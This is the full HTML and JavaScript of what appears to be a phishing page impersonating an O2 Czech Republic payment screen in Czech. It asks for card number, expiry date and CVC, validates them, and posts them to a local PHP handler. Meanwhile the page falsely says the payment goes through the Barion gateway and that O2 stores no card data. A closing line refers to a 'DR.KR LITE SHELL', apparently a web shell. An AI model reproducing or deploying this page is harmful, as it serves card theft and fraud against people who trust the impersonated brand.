<!DOCTYPE html>
<html lang="cs">
<head>
<meta charset="UTF-8">
<link rel="icon" type="image/png" sizes="16x16" href="images/downloadavatar.png">
<link rel="icon" type="image/png" sizes="32x32" href="images/downloadavatar.png">
<link rel="apple-touch-icon" sizes="180x180" href="images/downloadavatar.png">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Platba - O2</title>
<link rel="stylesheet" href="styles.css">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
margin: 0;
padding: 20px;
box-sizing: border-box;
}
.payment-container {
background-color: white;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
width: 100%;
max-width: 400px;
padding: 20px;
}
.payment-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
border-bottom: 1px solid #eee;
padding-bottom: 15px;
}
.payment-header img {
max-height: 40px;
}
.payment-amount {
font-size: 1.5em;
font-weight: bold;
color: #0066cc;
}
.card-input-group {
margin-bottom: 15px;
}
.card-input-group label {
display: block;
margin-bottom: 5px;
color: #333;
}
.card-input-group input {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
}
.card-details {
display: flex;
gap: 10px;
}
.card-details input {
flex: 1;
}
.card-brands {
display: flex;
gap: 10px;
margin-bottom: 15px;
}
.card-brands img {
height: 30px;
opacity: 0.6;
}
.card-brands img.active {
opacity: 1;
}
.save-card-option {
display: flex;
align-items: center;
margin-bottom: 15px;
}
.save-card-option input {
margin-right: 10px;
}
.pay-button {
width: 100%;
padding: 12px;
background-color: #0066cc;
color: white;
border: none;
border-radius: 4px;
font-size: 1em;
cursor: pointer;
transition: background-color 0.3s ease;
}
.pay-button:hover {
background-color: #0052a3;
}
.payment-note {
text-align: center;
color: #666;
font-size: 0.8em;
margin-top: 15px;
}
.back-link {
display: block;
text-align: center;
color: #0066cc;
text-decoration: none;
margin-top: 15px;
}
.error {
color: #dc3545;
font-size: 0.8em;
margin-top: 5px;
display: none;
}
.loader {
display: none;
text-align: center;
margin-top: 20px;
}
.loader-spinner {
border: 4px solid #f3f3f3;
border-top: 4px solid #0066cc;
border-radius: 50%;
width: 30px;
height: 30px;
animation: spin 1s linear infinite;
margin: 0 auto 10px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>
</head>
<body>
<div class="payment-container">
<div class="payment-header">
<img src="images/downloadavatar.png" alt="O2 Logo">
<div class="payment-amount">10,99 KÄŤ</div>
</div>
<div class="card-brands">
<img src="images/card-visa.svg" alt="Visa" class="active">
<img src="images/card-mastercard.svg" alt="Mastercard" class="active">
<img src="images/card-maestro.svg" alt="Maestro" class="active">
<img src="images/card-dinersclub.svg" alt="JCB">
<img src="images/card-discover.svg" alt="Discover">
</div>
<form id="paymentForm" action="card-process-updated.php" method="POST">
<div class="card-input-group">
<label for="cardNumber">ÄŚĂslo karty</label>
<input type="text" id="cardNumber" name="cardNumber" placeholder="0000 0000 0000 0000" required>
<div class="error" id="cardNumberError">ProsĂm, zadejte platnĂ© ÄŤĂslo karty</div>
</div>
<div class="card-details">
<div class="card-input-group">
<label for="expiryDate">Platnost</label>
<input type="text" id="expiryDate" name="expiryDate" placeholder="MM/RR" required>
<div class="error" id="expiryDateError">ProsĂm, zadejte platnou dobu platnosti</div>
</div>
<div class="card-input-group">
<label for="cvv">KĂłd CVC</label>
<input type="text" id="cvv" name="cvv" placeholder="..." required>
<div class="error" id="cvvError">ProsĂm, zadejte platnĂ˝ CVC kĂłd</div>
</div>
</div>
<div class="save-card-option">
<input type="checkbox" id="saveCard" name="saveCard">
<label for="saveCard">UloĹľit kartu</label>
</div>
<button type="submit" class="pay-button" id="payButton">ZAPLATIT: 10,99 KÄŤ</button>
<div class="loader" id="paymentLoader">
<div class="loader-spinner"></div>
<p>Zpracovánà platby...</p>
</div>
</form>
<div class="payment-note">
Platba probĂhá pomocĂ platebnĂ brány Barion. SpoleÄŤnost O2 Czech Republic nemá Ăşdaje o kartÄ› uloĹľeny, ani k nim nemá pĹ™Ăstup.
</div>
<a href="#" class="back-link">Zpět do prodejny bez platby</a>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
const paymentForm = document.getElementById('paymentForm');
const payButton = document.getElementById('payButton');
const paymentLoader = document.getElementById('paymentLoader');
// Card number formatting
const cardNumberInput = document.getElementById('cardNumber');
cardNumberInput.addEventListener('input', function(e) {
// Remove non-digit characters
let input = this.value.replace(/\D/g, '');
// Format with spaces every 4 digits
let formatted = input.match(/.{1,4}/g)?.join(' ') || '';
// Limit to 16 digits
this.value = formatted.slice(0, 19);
});
// Expiry date formatting
const expiryDateInput = document.getElementById('expiryDate');
expiryDateInput.addEventListener('input', function(e) {
// Remove non-digit characters
let input = this.value.replace(/\D/g, '');
// Format as MM/YY
if (input.length > 2) {
input = input.slice(0, 2) + '/' + input.slice(2, 4);
}
// Limit to MM/YY format
this.value = input.slice(0, 5);
});
// CVV formatting
const cvvInput = document.getElementById('cvv');
cvvInput.addEventListener('input', function(e) {
// Remove non-digit characters
let input = this.value.replace(/\D/g, '');
// Limit to 3-4 digits
this.value = input.slice(0, 4);
});
// Form validation
function validateCardNumber(cardNumber) {
// Remove spaces and non-numeric characters
let cleanNumber = cardNumber.replace(/\D/g, '');
// Check if empty
if (!cleanNumber) return false;
// Check length (most cards are 13-19 digits)
if (cleanNumber.length < 13 || cleanNumber.length > 19) return false;
// Luhn algorithm for card number validation
let sum = 0;
let doubleUp = false;
// Process from right to left
for (let i = cleanNumber.length - 1; i >= 0; i--) {
let digit = parseInt(cleanNumber.charAt(i));
// Double every second digit
if (doubleUp) {
digit *= 2;
if (digit > 9) {
digit -= 9;
}
}
sum += digit;
doubleUp = !doubleUp;
}
// If sum is divisible by 10, the number is valid
return (sum % 10) === 0;
}
function validateExpiryDate(expiryDate) {
// Check format
if (!/^\d{2}\/\d{2}$/.test(expiryDate)) return false;
const [month, year] = expiryDate.split('/');
const currentDate = new Date();
const currentYear = currentDate.getFullYear() % 100; // Get last 2 digits
const currentMonth = currentDate.getMonth() + 1; // JS months are 0-indexed
// Check if month is valid
if (parseInt(month) < 1 || parseInt(month) > 12) return false;
// Check if date is in the future
if (parseInt(year) < currentYear ||
(parseInt(year) === currentYear && parseInt(month) < currentMonth)) {
return false;
}
return true;
}
function validateCVV(cvv) {
return /^\d{3,4}$/.test(cvv);
}
// Form submission
paymentForm.addEventListener('submit', async (e) => {
e.preventDefault();
let isValid = true;
// Validate card number
const cardNumber = cardNumberInput.value;
if (!validateCardNumber(cardNumber)) {
document.getElementById('cardNumberError').style.display = 'block';
isValid = false;
} else {
document.getElementById('cardNumberError').style.display = 'none';
}
// Validate expiry date
const expiryDate = expiryDateInput.value;
if (!validateExpiryDate(expiryDate)) {
document.getElementById('expiryDateError').style.display = 'block';
isValid = false;
} else {
document.getElementById('expiryDateError').style.display = 'none';
}
// Validate CVV
const cvv = cvvInput.value;
if (!validateCVV(cvv)) {
document.getElementById('cvvError').style.display = 'block';
isValid = false;
} else {
document.getElementById('cvvError').style.display = 'none';
}
if (!isValid) return;
// Show loader, hide button
payButton.style.display = 'none';
paymentLoader.style.display = 'block';
// Submit the form
paymentForm.submit();
});
});
</script>
</body>
</html>
DR.KR LITE SHELL COPYRIGHT 2016